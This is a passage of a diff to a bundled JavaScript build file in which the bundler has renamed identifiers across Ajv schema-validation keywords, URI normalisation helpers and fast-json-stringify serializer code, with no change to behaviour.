true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "property name must be valid", params: ({ params }) => (0, codegen_1._)`{propertyName: ${params.propertyName}}` }; @@ -23168,7 +23168,7 @@ var require_propertyNames = __commonJS({ keyword: "propertyNames", type: "object", schemaType: ["object", "boolean"], - error: error51, + error: error62, code(cxt) { const { gen, schema, data, it } = cxt; if ((0, util_1.alwaysValidSchema)(it, schema)) @@ -23205,7 +23205,7 @@ var require_additionalProperties = __commonJS({ var codegen_1 = require_codegen(); var names_1 = require_names(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "must NOT have additional properties", params: ({ params }) => (0, codegen_1._)`{additionalProperty: ${params.additionalProperty}}` }; @@ -23215,7 +23215,7 @@ var require_additionalProperties = __commonJS({ schemaType: ["boolean", "object"], allowUndefined: true, trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, data, errsCount, it } = cxt; if (!errsCount) @@ -23489,7 +23489,7 @@ var require_oneOf = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "must match exactly one schema in oneOf", params: ({ params }) => (0, codegen_1._)`{passingSchemas: ${params.passing}}` }; @@ -23497,7 +23497,7 @@ var require_oneOf = __commonJS({ keyword: "oneOf", schemaType: "array", trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, it } = cxt; if (!Array.isArray(schema)) @@ -23574,7 +23574,7 @@ var require_if = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params }) => (0, codegen_1.str)`must match "${params.ifClause}" schema`, params: ({ params }) => (0, codegen_1._)`{failingKeyword: ${params.ifClause}}` }; @@ -23582,7 +23582,7 @@ var require_if = __commonJS({ keyword: "if", schemaType: ["object", "boolean"], trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, parentSchema, it } = cxt; if (parentSchema.then === void 0 && parentSchema.else === void 0) { @@ -23708,7 +23708,7 @@ var require_format = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must match format "${schemaCode}"`, params: ({ schemaCode }) => (0, codegen_1._)`{format: ${schemaCode}}` }; @@ -23717,7 +23717,7 @@ var require_format = __commonJS({ type: ["number", "string"], schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt, ruleType) { const { gen, data, $data, schema, schemaCode, it } = cxt; const { opts, errSchemaPath, schemaEnv, self: self2 } = it; @@ -23872,7 +23872,7 @@ var require_discriminator = __commonJS({ var compile_1 = require_compile(); var ref_error_1 = require_ref_error(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { discrError, tagName } }) => discrError === types_1.DiscrError.Tag ? `tag "${tagName}" must be string` : `value of tag "${tagName}" must be in oneOf`, params: ({ params: { discrError, tag: tag2, tagName } }) => (0, codegen_1._)`{error: ${discrError}, tag: ${tagName}, tagValue: ${tag2}}` }; @@ -23880,7 +23880,7 @@ var require_discriminator = __commonJS({ keyword: "discriminator", type: "object", schemaType: "object", - error: error51, + error: error62, code(cxt) { const { gen, data, schema, parentSchema, it } = cxt; const { oneOf } = parentSchema; @@ -24379,7 +24379,7 @@ var require_type = __commonJS({ int32: [-2147483648, 2147483647, 10], uint32: [0, 4294967295, 10] }; - var error51 = { + var error62 = { message: (cxt) => (0, error_1.typeErrorMessage)(cxt, cxt.schema), params: (cxt) => (0, error_1.typeErrorParams)(cxt, cxt.schema) }; @@ -24396,7 +24396,7 @@ var require_type = __commonJS({ var def = { keyword: "type", schemaType: "string", - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { data, schema, parentSchema, it } = cxt; @@ -24467,14 +24467,14 @@ var require_enum2 = __commonJS({ var codegen_1 = require_codegen(); var metadata_1 = require_metadata2(); var nullable_1 = require_nullable(); - var error51 = { + var error62 = { message: "must be equal to one of the allowed values", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` }; var def = { keyword: "enum", schemaType: "array", - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { gen, data, schema, schemaValue, parentSchema, it } = cxt; @@ -24699,7 +24699,7 @@ var require_discriminator2 = __commonJS({ var nullable_1 = require_nullable(); var error_1 = require_error2(); var types_1 = require_types(); - var error51 = { + var error62 = { message: (cxt) => { const { schema, params } = cxt; return params.discrError ? params.discrError === types_1.DiscrError.Tag ? `tag "${schema}" must be string` : `value of tag "${schema}" must be in mapping` : (0, error_1.typeErrorMessage)(cxt, "object"); @@ -24713,7 +24713,7 @@ var require_discriminator2 = __commonJS({ keyword: "discriminator", schemaType: "string", implements: ["mapping"], - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { gen, data, schema, parentSchema } = cxt; @@ -25901,27 +25901,27 @@ var require_utils2 = __commonJS({ var isPathCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/]$/u); var isQueryFragmentCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/?]$/u); var isUserinfoCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:]$/u); - function stringArrayToHexStripped(input) { + function stringArrayToHexStripped(input2) { let acc = ""; let code = 0; let i = 0; - for (i = 0; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i = 0; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (code === 48) { continue; } if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; break; } - for (i += 1; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i += 1; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; } return acc; } @@ -25969,11 +25969,11 @@ var require_utils2 = __commonJS({ const tail = hextets.slice(bestStart + bestLength).join(":"); return head + "::" + tail; } - function normalizeIPv6Address(input) { - const compression = input.indexOf("::"); - if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; - const left = compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); - const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + function normalizeIPv6Address(input2) { + const compression = input2.indexOf("::"); + if (compression !== -1 && input2.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input2.split(":") : input2.slice(0, compression).split(":"); + const right = compression === -1 ? [] : input2.slice(compression + 2).split(":"); if (compression !== -1) { if (left.length === 1 && left[0] === "") left.length = 0; if (right.length === 1 && right[0] === "") right.length = 0; @@ -26006,23 +26006,23 @@ var require_utils2 = __commonJS({ const bracketed = host[0] === "[" && host[host.length - 1] === "]"; const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; - let input = bracketed ? host.slice(1, -1) : host; - if (bracketed && isIPvFuture(input)) { - input = input.toLowerCase(); - return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + let input2 = bracketed ? host.slice(1, -1) : host; + if (bracketed && isIPvFuture(input2)) { + input2 = input2.toLowerCase(); + return { host: `[${input2}]`, escapedHost: input2, isIPV6: false, isIPVFuture: true }; } - if (findToken(input, ":") < 2) { + if (findToken(input2, ":") < 2) { return { host, isIPV6: false, error: bracketed }; } let zoneIdentifier = ""; - const zoneSeparator = input.indexOf("%"); + const zoneSeparator = input2.indexOf("%"); if (zoneSeparator !== -1) { - const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; - zoneIdentifier = input.slice(zoneSeparator + separatorLength); + const separatorLength = input2.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input2.slice(zoneSeparator + separatorLength); if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; - input = input.slice(0, zoneSeparator); + input2 = input2.slice(0, zoneSeparator); } - const address = normalizeIPv6Address(input); + const address = normalizeIPv6Address(input2); if (address === void 0) return { host, isIPV6: false, error: true }; return { host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), @@ -26038,79 +26038,79 @@ var require_utils2 = __commonJS({ return ind; } function removeDotSegments(path) { - let input = path; - const output = []; + let input2 = path; + const output2 = []; let nextSlash = -1; let len = 0; - while (len = input.length) { + while (len = input2.length) { if (len === 1) { - if (input === ".") { + if (input2 === ".") { break; - } else if (input === "/") { - output.push("/"); + } else if (input2 === "/") { + output2.push("/"); break; } else { - output.push(input); + output2.push(input2); break; } } else if (len === 2) { - if (input[0] === ".") { - if (input[1] === ".") { + if (input2[0] === ".") { + if (input2[1] === ".") { break; - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - output.push("/"); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + output2.push("/"); break; } } } else if (len === 3) { - if (input === "/..") { - if (output.length !== 0) { - output.pop(); + if (input2 === "/..") { + if (output2.length !== 0) { + output2.pop(); } - output.push("/"); + output2.push("/"); break; } } - if (input[0] === ".") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(3); + if (input2[0] === ".") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(3); continue; } - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(2); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(2); continue; - } else if (input[2] === ".") { - if (input[3] === "/") { - input = input.slice(3); - if (output.length !== 0) { - output.pop(); + } else if (input2[2] === ".") { + if (input2[3] === "/") { + input2 = input2.slice(3); + if (output2.length !== 0) { + output2.pop(); } continue; } } } } - if ((nextSlash = input.indexOf("/", 1)) === -1) { - output.push(input); + if ((nextSlash = input2.indexOf("/", 1)) === -1) { + output2.push(input2); break; } else { - output.push(input.slice(0, nextSlash)); - input = input.slice(nextSlash); + output2.push(input2.slice(0, nextSlash)); + input2 = input2.slice(nextSlash); } } - return output.join(""); + return output2.join(""); } var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; var HOST_DELIM_RE = /[@/?#:]/g; @@ -26120,29 +26120,29 @@ var require_utils2 = __commonJS({ re2.lastIndex = 0; return host.replace(re2, (ch) => HOST_DELIMS[ch]); } - function normalizePercentEncoding(input, decodeUnreserved = false) { - if (input.indexOf("%") === -1) { - return input; + function normalizePercentEncoding(input2, decodeUnreserved = false) { + if (input2.indexOf("%") === -1) { + return input2; } - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decodeUnreserved && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } - output += input[i]; + output2 += input2[i]; } - return output; + return output2; } var BYTE_HEX = new Array(256); { @@ -26163,56 +26163,56 @@ var require_utils2 = __commonJS({ } return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; } - function normalizePathEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizePathEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decoded !== "." && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isPathCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function serializePathEncoding(input, pathNoScheme = false) { - let output = ""; - let firstSegment = pathNoScheme && input[0] !== "/"; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function serializePathEncoding(input2, pathNoScheme = false) { + let output2 = ""; + let firstSegment = pathNoScheme && input2[0] !== "/"; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } @@ -26221,143 +26221,143 @@ var require_utils2 = __commonJS({ firstSegment = false; } if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function normalizeQueryFragmentEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizeQueryFragmentEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isQueryFragmentCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeComponent(input, isAllowed) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function encodeComponent(input2, isAllowed) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } if (isAllowed(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeUserinfo(input) { - return encodeComponent(input, isUserinfoCharacter); + function encodeUserinfo(input2) { + return encodeComponent(input2, isUserinfoCharacter); } - function encodeQuery(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeQuery(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function encodeFragment(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeFragment(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function escapePreservingEscapes(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function escapePreservingEscapes(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } - return output; + return output2; } function recomposeZonedIPv6Host(component) { const zone = component.ipv6Zone; @@ -26367,8 +26367,8 @@ var require_utils2 = __commonJS({ if (separator === -1) return void 0; const address = host.slice(0, separator); const escaped = address + "%25" + zone; - const derived = normalizeIPv6("[" + escaped + "]"); - if (derived.isIPV6 === true && derived.host === host) { + const derived2 = normalizeIPv6("[" + escaped + "]"); + if (derived2.isIPV6 === true && derived2.host === host) { return "[" + escaped + "]"; } return void 0; @@ -26647,35 +26647,35 @@ var require_schemes2 = __commonJS({ return str; } } - function replaceLoneSurrogates(input) { + function replaceLoneSurrogates(input2) { let result = ""; - for (let i = 0; i < input.length; i++) { - const code = input.charCodeAt(i); - if (code >= 55296 && code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + for (let i = 0; i < input2.length; i++) { + const code = input2.charCodeAt(i); + if (code >= 55296 && code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - result += input[i] + input[i + 1]; + result += input2[i] + input2[i + 1]; i++; continue; } } - result += code >= 55296 && code <= 57343 ? "\uFFFD" : input[i]; + result += code >= 55296 && code <= 57343 ? "\uFFFD" : input2[i]; } return result; } - function encodeWithAllow(input, set2) { - if (set2.all.test(input)) { - return input; + function encodeWithAllow(input2, set2) { + if (set2.all.test(input2)) { + return input2; } const table2 = set2.table; let result = ""; - for (let i = 0; i < input.length; i++) { - const code = input.charCodeAt(i); + for (let i = 0; i < input2.length; i++) { + const code = input2.charCodeAt(i); if (code < 128) { if (table2[code] === 1) { - result += input[i]; - } else if (code === 37 && i + 2 < input.length && HEX_PAIR.test(input.slice(i + 1, i + 3))) { - result += "%" + input.slice(i + 1, i + 3).toUpperCase(); + result += input2[i]; + } else if (code === 37 && i + 2 < input2.length && HEX_PAIR.test(input2.slice(i + 1, i + 3))) { + result += "%" + input2.slice(i + 1, i + 3).toUpperCase(); i += 2; } else { result += BYTE_HEX[code]; @@ -26683,13 +26683,13 @@ var require_schemes2 = __commonJS({ continue; } if (code < 55296 || code > 57343) { - result += set2.allowNonAscii ? input[i] : percentEncodeNonAscii(code); + result += set2.allowNonAscii ? input2[i] : percentEncodeNonAscii(code); continue; } - if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - result += set2.allowNonAscii ? input[i] + input[i + 1] : percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + result += set2.allowNonAscii ? input2[i] + input2[i + 1] : percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; continue; } @@ -27338,8 +27338,8 @@ var require_formats = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.formatNames = exports.fastFormats = exports.fullFormats = void 0; - function fmtDef(validate, compare) { - return { validate, compare }; + function fmtDef(validate2, compare) { + return { validate: validate2, compare }; } exports.fullFormats = { // date: http://tools.ietf.org/html/rfc3339#section-5.6 @@ -27550,7 +27550,7 @@ var require_limit = __commonJS({ formatExclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, formatExclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } }; - var error51 = { + var error62 = { message: ({ keyword, schemaCode }) => (0, codegen_1.str)`should be ${KWDs[keyword].okStr} ${schemaCode}`, params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` }; @@ -27559,7 +27559,7 @@ var require_limit = __commonJS({ type: "string", schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, schemaCode, keyword, it } = cxt; const { opts, self: self2 } = it; @@ -27780,14 +27780,14 @@ var require_standalone = __commonJS({ const v = vRef; return validateCode(usedValues, v.source); } else if ((n.prefix === "root" || n.prefix === "wrapper") && typeof vRef == "object") { - const { validate, validateName } = vRef; + const { validate: validate2, validateName } = vRef; if (!validateName) throw new Error("ajv internal error"); const def = ajv.opts.code.es5 ? scope_1.varKinds.var : scope_1.varKinds.const; const wrapper = (0, code_1._)`${def} ${n} = {validate: ${validateName}};`; if (usedState(validateName) === scope_1.UsedValueState.Started) return wrapper; - const vCode = validateCode(usedValues, validate === null || validate === void 0 ? void 0 : validate.source); + const vCode = validateCode(usedValues, validate2 === null || validate2 === void 0 ? void 0 : validate2.source); return (0, code_1._)`${wrapper}${_n}${vCode}`; } return void 0; @@ -28184,21 +28184,21 @@ var require_json_schema_ref_resolver = __commonJS({ } this.#schemas[schemaId] = { schema, anchors: {}, refs: [] }; } - #insertSchemaByAnchor(schema, schemaId, anchor) { + #insertSchemaByAnchor(schema, schemaId, anchor2) { const { anchors } = this.#schemas[schemaId]; - if (anchors[anchor] !== void 0) { - throw new Error(`There is already another anchor "${anchor}" in schema "${schemaId}".`); + if (anchors[anchor2] !== void 0) { + throw new Error(`There is already another anchor "${anchor2}" in schema "${schemaId}".`); } - anchors[anchor] = schema; + anchors[anchor2] = schema; } #insertDerefSchemaBySchemaId(schema, schemaId) { const foundSchema = this.#derefSchemas[schemaId]; if (foundSchema !== void 0) return; this.#derefSchemas[schemaId] = { schema, anchors: {} }; } - #insertDerefSchemaByAnchor(schema, schemaId, anchor) { + #insertDerefSchemaByAnchor(schema, schemaId, anchor2) { const { anchors } = this.#derefSchemas[schemaId]; - anchors[anchor] = schema; + anchors[anchor2] = schema; } }; function getDataByJSONPointer(data, jsonPointer) { @@ -29605,9 +29605,9 @@ var require_merge_json_schemas = __commonJS({ if (mergedSchema2 !== void 0) { mergedOneOf.push(mergedSchema2); } - } catch (error51) { - if (error51 instanceof errors.MergeError) continue; - throw error51; + } catch (error62) { + if (error62 instanceof errors.MergeError) continue; + throw error62; } } mergedSchema[keyword] = mergedOneOf; @@ -29887,7 +29887,7 @@ var require_fast_json_stringify = __commonJS({ var Serializer = require_serializer(); var Validator = require_validator(); var Location = require_location(); - var validate = require_schema_validator(); + var validate2 = require_schema_validator(); var mergeSchemas = require_merge_schemas(); var largeArraySize = 2e4; var largeArrayMechanism = "default"; @@ -29917,13 +29917,13 @@ const asInteger = serializer.asInteger.bind(serializer) ]); var schemaIdCounter = 0; function isValidSchema(schema, name) { - if (!validate(schema)) { + if (!validate2(schema)) { if (name) { name = `"${name}" `; } else { name = ""; } - const first = validate.errors[0]; + const first = validate2.errors[0]; const err = new Error(`${name}schema is invalid: data${first.instancePath} ${first.message}`); err.errors = isValidSchema.errors; throw err; @@ -30326,11 +30326,11 @@ ${contextFunctionCode}`, : ${variableName} `; } - function buildObject(context2, location, input) { + function buildObject(context2, location, input2) { const schema = location.schema; if (context2.functionsNamesBySchema.has(schema)) { const funcName = context2.functionsNamesBySchema.get(schema); - return `json += ${funcName}(${input})`; + return `json += ${funcName}(${input2})`; } const nullable2 = schema.nullable === true; const schemaId = location.schemaId || ""; @@ -30352,12 +30352,12 @@ ${contextFunctionCode}`, } `; context2.functions.push(functionCode); - return `json += ${functionName}(${input})`; + return `json += ${functionName}(${input2})`; } context2.buildingSet.add(schema); const objVar = `obj_${context2.uid++}`; const code = ` - const ${objVar} = ${toJSON(input)} + const ${objVar} = ${toJSON(input2)} if (${objVar} === null) { json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_OBJECT"} } else { @@ -30367,7 +30367,7 @@ ${contextFunctionCode}`, context2.buildingSet.delete(schema); return code; } - function buildArray(context2, location, input) { + function buildArray(context2, location, input2) { const schema = location.schema; let itemsLocation = location.getPropertyLocation("items"); itemsLocation.schema = itemsLocation.schema || {}; @@ -30377,7 +30377,7 @@ ${contextFunctionCode}`, const itemsSchema = itemsLocation.schema; if (context2.functionsNamesBySchema.has(schema)) { const funcName = context2.functionsNamesBySchema.get(schema); - return `json += ${funcName}(${input})`; + return `json += ${funcName}(${input2})`; } const nullable2 = schema.nullable === true; const schemaId = location.schemaId || ""; @@ -30463,13 +30463,13 @@ ${contextFunctionCode}`, return json + JSON_STR_END_ARRAY }`; context2.functions.push(functionCode); - return `json += ${functionName}(${input})`; + return `json += ${functionName}(${input2})`; } context2.buildingSet.add(schema); const safeSchemaRef = getSafeSchemaRef(context2, location); const objVar = `obj_${context2.uid++}`; let inlinedCode = ` - const ${objVar} = ${input} + const ${objVar} = ${input2} if (${objVar} === null) { json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_ARRAY"} } else if (!Array.isArray(${objVar})) { @@ -30591,18 +30591,18 @@ ${contextFunctionCode}`, function generateFuncName(context2) { return "anonymous" + context2.functionsCounter++; } - function buildMultiTypeSerializer(context2, location, input) { + function buildMultiTypeSerializer(context2, location, input2) { const schema = location.schema; const types2 = schema.type.sort((t1) => t1 === "null" ? -1 : 1); let code = ""; types2.forEach((type, index2) => { location.schema = { ...location.schema, type }; - const nestedResult = buildSingleTypeSerializer(context2, location, input); + const nestedResult = buildSingleTypeSerializer(context2, location, input2); const statement = index2 === 0 ? "if" : "else if"; switch (type) { case "null": code += ` - ${statement} (${input} === null) { + ${statement} (${input2} === null) { ${nestedResult} } `; @@ -30610,14 +30610,14 @@ ${contextFunctionCode}`, case "string": { code += ` ${statement}( - typeof ${input} === "string" || - ${input} === null || - ${input} instanceof Date || - ${input} instanceof RegExp || + typeof ${input2} === "string" || + ${input2} === null || + ${input2} instanceof Date || + ${input2} instanceof RegExp || ( - typeof ${input} === "object" && - typeof ${input}.toString === "function" && - ${input}.toString !== Object.prototype.toString + typeof ${input2} === "object" && + typeof ${input2}.toString === "function" && + ${input2}.toString !== Object.prototype.toString ) ) { ${nestedResult} @@ -30627,7 